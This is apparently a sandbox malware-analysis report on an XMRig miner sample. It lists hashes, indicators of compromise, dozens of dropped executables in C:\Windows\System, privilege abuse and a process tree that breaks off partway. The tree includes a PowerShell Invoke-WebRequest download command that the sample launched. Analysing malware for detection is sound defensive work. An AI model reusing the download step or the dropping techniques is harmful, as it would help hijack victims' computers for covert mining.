xmrig | 8cf1841ff812930ff57aa13b3501f1a436b98e854a2823b7d7347a3324c50d69

Analysis

max time kernel
122s
max time network
124s
platform
windows7_x64
resource
win7-20240220-en
resource tags

arch:x64arch:x86image:win7-20240220-enlocale:en-usos:windows7-x64system
submitted
10/05/2024, 07:30

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
Size

1.3MB
MD5

a1950eec022841a93179fe998558e0b0
SHA1

1c7095a70f423cbe0f65ec24958a044b2e7d7932
SHA256

8cf1841ff812930ff57aa13b3501f1a436b98e854a2823b7d7347a3324c50d69
SHA512

e32d8c1a27e103bc4870ce530394398e6457b746a92d48aa876d7db0e0cbe451c582753b8563bcabed972b6d127e420154ae70bb39f84f54250a99a010d6b5af
SSDEEP

24576:zv3/fTLF671TilQFG4P5PxtG8PEpklLvYl8UywjwCIlaa+Tr:Lz071uv4BPjGhql0lQGQG

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 24 IoCs

miner

resource	yara_rule
behavioral1/memory/2088-1-0x000000013FC80000-0x0000000140072000-memory.dmp	xmrig
behavioral1/memory/2476-16-0x000000013FD10000-0x0000000140102000-memory.dmp	xmrig
behavioral1/memory/2556-55-0x000000013FE30000-0x0000000140222000-memory.dmp	xmrig
behavioral1/memory/2508-54-0x000000013FA60000-0x000000013FE52000-memory.dmp	xmrig
behavioral1/memory/2472-52-0x000000013F2B0000-0x000000013F6A2000-memory.dmp	xmrig
behavioral1/memory/2972-62-0x000000013FDD0000-0x00000001401C2000-memory.dmp	xmrig
behavioral1/memory/1656-75-0x000000013F500000-0x000000013F8F2000-memory.dmp	xmrig
behavioral1/memory/2372-110-0x000000013FE90000-0x0000000140282000-memory.dmp	xmrig
behavioral1/memory/1564-101-0x000000013F350000-0x000000013F742000-memory.dmp	xmrig
behavioral1/memory/1712-86-0x000000013FF60000-0x0000000140352000-memory.dmp	xmrig
behavioral1/memory/2628-47-0x000000013FAA0000-0x000000013FE92000-memory.dmp	xmrig
behavioral1/memory/2476-1139-0x000000013FD10000-0x0000000140102000-memory.dmp	xmrig
behavioral1/memory/2636-3934-0x000000013F3E0000-0x000000013F7D2000-memory.dmp	xmrig
behavioral1/memory/2476-3944-0x000000013FD10000-0x0000000140102000-memory.dmp	xmrig
behavioral1/memory/2508-3946-0x000000013FA60000-0x000000013FE52000-memory.dmp	xmrig
behavioral1/memory/2636-3948-0x000000013F3E0000-0x000000013F7D2000-memory.dmp	xmrig
behavioral1/memory/2628-3952-0x000000013FAA0000-0x000000013FE92000-memory.dmp	xmrig
behavioral1/memory/2472-3951-0x000000013F2B0000-0x000000013F6A2000-memory.dmp	xmrig
behavioral1/memory/2556-3954-0x000000013FE30000-0x0000000140222000-memory.dmp	xmrig
behavioral1/memory/2972-3956-0x000000013FDD0000-0x00000001401C2000-memory.dmp	xmrig
behavioral1/memory/1712-3958-0x000000013FF60000-0x0000000140352000-memory.dmp	xmrig
behavioral1/memory/1656-3960-0x000000013F500000-0x000000013F8F2000-memory.dmp	xmrig
behavioral1/memory/2372-3963-0x000000013FE90000-0x0000000140282000-memory.dmp	xmrig
behavioral1/memory/1564-3964-0x000000013F350000-0x000000013F742000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
2788	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
2476	BVWCCyv.exe
2636	QPuaKbh.exe
2508	IivlUAp.exe
2628	mrmLdHM.exe
2472	bOcGqpA.exe
2556	dvXQujq.exe
2972	PGKWopQ.exe
1656	LtieEYa.exe
1712	WJJLtcI.exe
2372	Snzydww.exe
1564	FsaclnR.exe
2356	cBNtPCK.exe
2304	uRaKgbw.exe
1536	bDOWGlP.exe
2188	tILsvLg.exe
1816	oZPHEIp.exe
1660	UgYmLxi.exe
1316	anchqRx.exe
2184	xaowuGe.exe
1572	YPoSWck.exe
1508	LjxYoPw.exe
2228	GFElgAm.exe
1968	KhkMdgv.exe
2120	PTdocHn.exe
2248	GrwJOMv.exe
1400	hvOyaMU.exe
352	cJTIRCg.exe
1872	KZRaTUZ.exe
2452	AYHGcFW.exe
1804	GLlBjCI.exe
2820	iNGIDMp.exe
784	UVsVdGd.exe
2352	tvlrSSa.exe
2916	olbPjIn.exe
2960	KDyqMxp.exe
2864	DHjljnJ.exe
1256	nTZlsDA.exe
1788	ZDXyvhq.exe
956	bJANgYs.exe
332	udhoDth.exe
1676	IRMJgSd.exe
1680	bSvfOac.exe
1668	fsWPGvN.exe
612	PWlnOPD.exe
2848	cKOJwpT.exe
2340	CmkOhXn.exe
2268	qFqDFvo.exe
2932	GBCKBjA.exe
1476	zvGqXei.exe
2044	hKKyYta.exe
2128	Xuuynhm.exe
2740	lVpfUWc.exe
2928	gANeoFh.exe
1428	fqUWJHH.exe
1760	ojzuyMi.exe
2468	hMZXjRF.exe
1780	IbjQmqJ.exe
1524	MOjcrfO.exe
2696	TvpzzGs.exe
2880	mzdgQAx.exe
2648	QxvgyJV.exe
2484	wYiMhcd.exe
2032	FuyOVHm.exe
972	KpDwcWe.exe

Loads dropped DLL 64 IoCs

pid	Process
2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe

UPX packed file 57 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2088-1-0x000000013FC80000-0x0000000140072000-memory.dmp	upx
behavioral1/files/0x000d000000013adc-3.dat	upx
behavioral1/files/0x003400000001431b-13.dat	upx
behavioral1/files/0x0016000000005586-18.dat	upx
behavioral1/memory/2476-16-0x000000013FD10000-0x0000000140102000-memory.dmp	upx
behavioral1/files/0x00070000000144f9-31.dat	upx
behavioral1/files/0x00080000000144f1-30.dat	upx
behavioral1/memory/2636-23-0x000000013F3E0000-0x000000013F7D2000-memory.dmp	upx
behavioral1/files/0x000700000001459d-37.dat	upx
behavioral1/memory/2556-55-0x000000013FE30000-0x0000000140222000-memory.dmp	upx
behavioral1/memory/2508-54-0x000000013FA60000-0x000000013FE52000-memory.dmp	upx
behavioral1/memory/2472-52-0x000000013F2B0000-0x000000013F6A2000-memory.dmp	upx
behavioral1/files/0x0009000000014677-59.dat	upx
behavioral1/memory/2972-62-0x000000013FDD0000-0x00000001401C2000-memory.dmp	upx
behavioral1/files/0x0006000000015ae3-82.dat	upx
behavioral1/memory/1656-75-0x000000013F500000-0x000000013F8F2000-memory.dmp	upx
behavioral1/files/0x0006000000015cd2-130.dat	upx
behavioral1/files/0x0006000000015d59-158.dat	upx
behavioral1/files/0x0006000000015fa6-178.dat	upx
behavioral1/files/0x0006000000015f23-174.dat	upx
behavioral1/files/0x0006000000015d9c-170.dat	upx
behavioral1/files/0x0006000000015d85-166.dat	upx
behavioral1/files/0x0006000000015d61-162.dat	upx
behavioral1/files/0x0006000000015d39-155.dat	upx
behavioral1/files/0x0006000000015d0a-146.dat	upx
behavioral1/files/0x0006000000015d21-150.dat	upx
behavioral1/files/0x0006000000015cf8-142.dat	upx
behavioral1/files/0x0006000000015cee-138.dat	upx
behavioral1/files/0x0006000000015ce3-134.dat	upx
behavioral1/files/0x0006000000015cc5-126.dat	upx
behavioral1/files/0x0006000000015cb1-122.dat	upx
behavioral1/files/0x0006000000015ca8-118.dat	upx
behavioral1/files/0x003400000001432f-114.dat	upx
behavioral1/files/0x0006000000015b85-91.dat	upx
behavioral1/memory/2372-110-0x000000013FE90000-0x0000000140282000-memory.dmp	upx
behavioral1/files/0x0006000000015c9a-102.dat	upx
behavioral1/memory/1564-101-0x000000013F350000-0x000000013F742000-memory.dmp	upx
behavioral1/files/0x0006000000015662-100.dat	upx
behavioral1/files/0x0006000000015b50-89.dat	upx
behavioral1/files/0x00060000000158d9-88.dat	upx
behavioral1/memory/1712-86-0x000000013FF60000-0x0000000140352000-memory.dmp	upx
behavioral1/files/0x000700000001565a-69.dat	upx
behavioral1/files/0x0008000000014709-66.dat	upx
behavioral1/memory/2628-47-0x000000013FAA0000-0x000000013FE92000-memory.dmp	upx
behavioral1/memory/2476-1139-0x000000013FD10000-0x0000000140102000-memory.dmp	upx
behavioral1/memory/2636-3934-0x000000013F3E0000-0x000000013F7D2000-memory.dmp	upx
behavioral1/memory/2476-3944-0x000000013FD10000-0x0000000140102000-memory.dmp	upx
behavioral1/memory/2508-3946-0x000000013FA60000-0x000000013FE52000-memory.dmp	upx
behavioral1/memory/2636-3948-0x000000013F3E0000-0x000000013F7D2000-memory.dmp	upx
behavioral1/memory/2628-3952-0x000000013FAA0000-0x000000013FE92000-memory.dmp	upx
behavioral1/memory/2472-3951-0x000000013F2B0000-0x000000013F6A2000-memory.dmp	upx
behavioral1/memory/2556-3954-0x000000013FE30000-0x0000000140222000-memory.dmp	upx
behavioral1/memory/2972-3956-0x000000013FDD0000-0x00000001401C2000-memory.dmp	upx
behavioral1/memory/1712-3958-0x000000013FF60000-0x0000000140352000-memory.dmp	upx
behavioral1/memory/1656-3960-0x000000013F500000-0x000000013F8F2000-memory.dmp	upx
behavioral1/memory/2372-3963-0x000000013FE90000-0x0000000140282000-memory.dmp	upx
behavioral1/memory/1564-3964-0x000000013F350000-0x000000013F742000-memory.dmp	upx

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\koNAwtb.exe	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
File created	C:\Windows\System\kSqNfVD.exe	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
File created	C:\Windows\System\UjBbKTo.exe	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
File created	C:\Windows\System\BOcmLAv.exe	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
File created	C:\Windows\System\uxYWRMs.exe	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
File created	C:\Windows\System\LOSyLNB.exe	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
File created	C:\Windows\System\CAxxudS.exe	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
File created	C:\Windows\System\ZiwUwAp.exe	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
File created	C:\Windows\System\llGfAKN.exe	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
File created	C:\Windows\System\OzCsanl.exe	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
File created	C:\Windows\System\LEWdzVW.exe	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
File created	C:\Windows\System\kkJehFO.exe	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
File created	C:\Windows\System\urjNwiu.exe	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
File created	C:\Windows\System\YuyPDnw.exe	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
File created	C:\Windows\System\pScsFnS.exe	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
File created	C:\Windows\System\VCXxPqA.exe	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
File created	C:\Windows\System\MasGplW.exe	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
File created	C:\Windows\System\DtCRMSw.exe	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
File created	C:\Windows\System\nNEEusJ.exe	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
File created	C:\Windows\System\UAoqdyT.exe	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
File created	C:\Windows\System\VOMmiFi.exe	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
File created	C:\Windows\System\tQPkCWl.exe	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
File created	C:\Windows\System\GIblQPz.exe	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
File created	C:\Windows\System\dYWhSBB.exe	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
File created	C:\Windows\System\LiedhcJ.exe	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
File created	C:\Windows\System\zrxOZTf.exe	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
File created	C:\Windows\System\kWleVIg.exe	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
File created	C:\Windows\System\MdjVdbx.exe	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
File created	C:\Windows\System\wmAdSNd.exe	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
File created	C:\Windows\System\fvCznTb.exe	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
File created	C:\Windows\System\KBOkNlB.exe	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
File created	C:\Windows\System\uRaKgbw.exe	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
File created	C:\Windows\System\kXNxIFh.exe	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
File created	C:\Windows\System\LgyCbMD.exe	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
File created	C:\Windows\System\JawblRY.exe	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
File created	C:\Windows\System\gLrgILh.exe	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
File created	C:\Windows\System\HwneTIw.exe	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
File created	C:\Windows\System\QdCQefY.exe	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
File created	C:\Windows\System\lrdSyqZ.exe	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
File created	C:\Windows\System\JQpMSlm.exe	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
File created	C:\Windows\System\HRdvQob.exe	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
File created	C:\Windows\System\UaxsOgU.exe	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
File created	C:\Windows\System\mXqxtFg.exe	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
File created	C:\Windows\System\IjbIljS.exe	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
File created	C:\Windows\System\XGFOkNt.exe	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
File created	C:\Windows\System\XBqDOyj.exe	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
File created	C:\Windows\System\ogqCbzs.exe	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
File created	C:\Windows\System\lsESVUW.exe	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
File created	C:\Windows\System\rwyVxYl.exe	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
File created	C:\Windows\System\KjYWhMj.exe	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
File created	C:\Windows\System\GyQTebu.exe	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
File created	C:\Windows\System\lPwzlGW.exe	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
File created	C:\Windows\System\weVOJSQ.exe	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
File created	C:\Windows\System\JgHsBFK.exe	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
File created	C:\Windows\System\JSCcvpR.exe	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
File created	C:\Windows\System\nfEwlGg.exe	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
File created	C:\Windows\System\wHlFXip.exe	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
File created	C:\Windows\System\pMGhFnF.exe	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
File created	C:\Windows\System\aQTaoDl.exe	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
File created	C:\Windows\System\twtnePC.exe	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
File created	C:\Windows\System\ZIXLwBz.exe	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
File created	C:\Windows\System\lfJSuMN.exe	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
File created	C:\Windows\System\sHvEoqv.exe	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
File created	C:\Windows\System\ChMShbl.exe	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2788	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
Token: SeLockMemoryPrivilege	2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
Token: SeDebugPrivilege	2788	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2088 wrote to memory of 2788	2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe	29
PID 2088 wrote to memory of 2788	2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe	29
PID 2088 wrote to memory of 2788	2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe	29
PID 2088 wrote to memory of 2476	2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe	30
PID 2088 wrote to memory of 2476	2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe	30
PID 2088 wrote to memory of 2476	2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe	30
PID 2088 wrote to memory of 2636	2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe	31
PID 2088 wrote to memory of 2636	2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe	31
PID 2088 wrote to memory of 2636	2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe	31
PID 2088 wrote to memory of 2508	2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe	32
PID 2088 wrote to memory of 2508	2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe	32
PID 2088 wrote to memory of 2508	2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe	32
PID 2088 wrote to memory of 2628	2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe	33
PID 2088 wrote to memory of 2628	2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe	33
PID 2088 wrote to memory of 2628	2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe	33
PID 2088 wrote to memory of 2472	2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe	34
PID 2088 wrote to memory of 2472	2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe	34
PID 2088 wrote to memory of 2472	2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe	34
PID 2088 wrote to memory of 2556	2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe	35
PID 2088 wrote to memory of 2556	2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe	35
PID 2088 wrote to memory of 2556	2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe	35
PID 2088 wrote to memory of 2972	2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe	36
PID 2088 wrote to memory of 2972	2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe	36
PID 2088 wrote to memory of 2972	2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe	36
PID 2088 wrote to memory of 1656	2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe	37
PID 2088 wrote to memory of 1656	2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe	37
PID 2088 wrote to memory of 1656	2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe	37
PID 2088 wrote to memory of 1712	2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe	38
PID 2088 wrote to memory of 1712	2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe	38
PID 2088 wrote to memory of 1712	2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe	38
PID 2088 wrote to memory of 2356	2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe	39
PID 2088 wrote to memory of 2356	2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe	39
PID 2088 wrote to memory of 2356	2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe	39
PID 2088 wrote to memory of 2372	2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe	40
PID 2088 wrote to memory of 2372	2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe	40
PID 2088 wrote to memory of 2372	2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe	40
PID 2088 wrote to memory of 1536	2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe	41
PID 2088 wrote to memory of 1536	2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe	41
PID 2088 wrote to memory of 1536	2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe	41
PID 2088 wrote to memory of 1564	2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe	42
PID 2088 wrote to memory of 1564	2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe	42
PID 2088 wrote to memory of 1564	2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe	42
PID 2088 wrote to memory of 2188	2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe	43
PID 2088 wrote to memory of 2188	2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe	43
PID 2088 wrote to memory of 2188	2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe	43
PID 2088 wrote to memory of 2304	2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe	44
PID 2088 wrote to memory of 2304	2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe	44
PID 2088 wrote to memory of 2304	2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe	44
PID 2088 wrote to memory of 1816	2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe	45
PID 2088 wrote to memory of 1816	2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe	45
PID 2088 wrote to memory of 1816	2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe	45
PID 2088 wrote to memory of 1660	2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe	46
PID 2088 wrote to memory of 1660	2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe	46
PID 2088 wrote to memory of 1660	2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe	46
PID 2088 wrote to memory of 1316	2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe	47
PID 2088 wrote to memory of 1316	2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe	47
PID 2088 wrote to memory of 1316	2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe	47
PID 2088 wrote to memory of 2184	2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe	48
PID 2088 wrote to memory of 2184	2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe	48
PID 2088 wrote to memory of 2184	2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe	48
PID 2088 wrote to memory of 1572	2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe	49
PID 2088 wrote to memory of 1572	2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe	49
PID 2088 wrote to memory of 1572	2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe	49
PID 2088 wrote to memory of 1508	2088	a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe	50

C:\Users\Admin\AppData\Local\Temp\a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe
"C:\Users\Admin\AppData\Local\Temp\a1950eec022841a93179fe998558e0b0_NeikiAnalytics.exe"
1⤵
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2088
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2788
- C:\Windows\System\BVWCCyv.exe
  C:\Windows\System\BVWCCyv.exe
  2⤵
  - Executes dropped EXE
  PID:2476
- C:\Windows\System\QPuaKbh.exe
  C:\Windows\System\QPuaKbh.exe
  2⤵
  - Executes dropped EXE
  PID:2636
- C:\Windows\System\IivlUAp.exe
  C:\Windows\System\IivlUAp.exe
  2⤵
  - Executes dropped EXE
  PID:2508
- C:\Windows\System\mrmLdHM.exe
  C:\Windows\System\mrmLdHM.exe
  2⤵
  - Executes dropped EXE
  PID:2628
- C:\Windows\System\bOcGqpA.exe
  C:\Windows\System\bOcGqpA.exe
  2⤵
  - Executes dropped EXE
  PID:2472
- C:\Windows\System\dvXQujq.exe
  C:\Windows\System\dvXQujq.exe
  2⤵
  - Executes dropped EXE
  PID:2556
- C:\Windows\System\PGKWopQ.exe
  C:\Windows\System\PGKWopQ.exe
  2⤵
  - Executes dropped EXE
  PID:2972
- C:\Windows\System\LtieEYa.exe
  C:\Windows\System\LtieEYa.exe
  2⤵
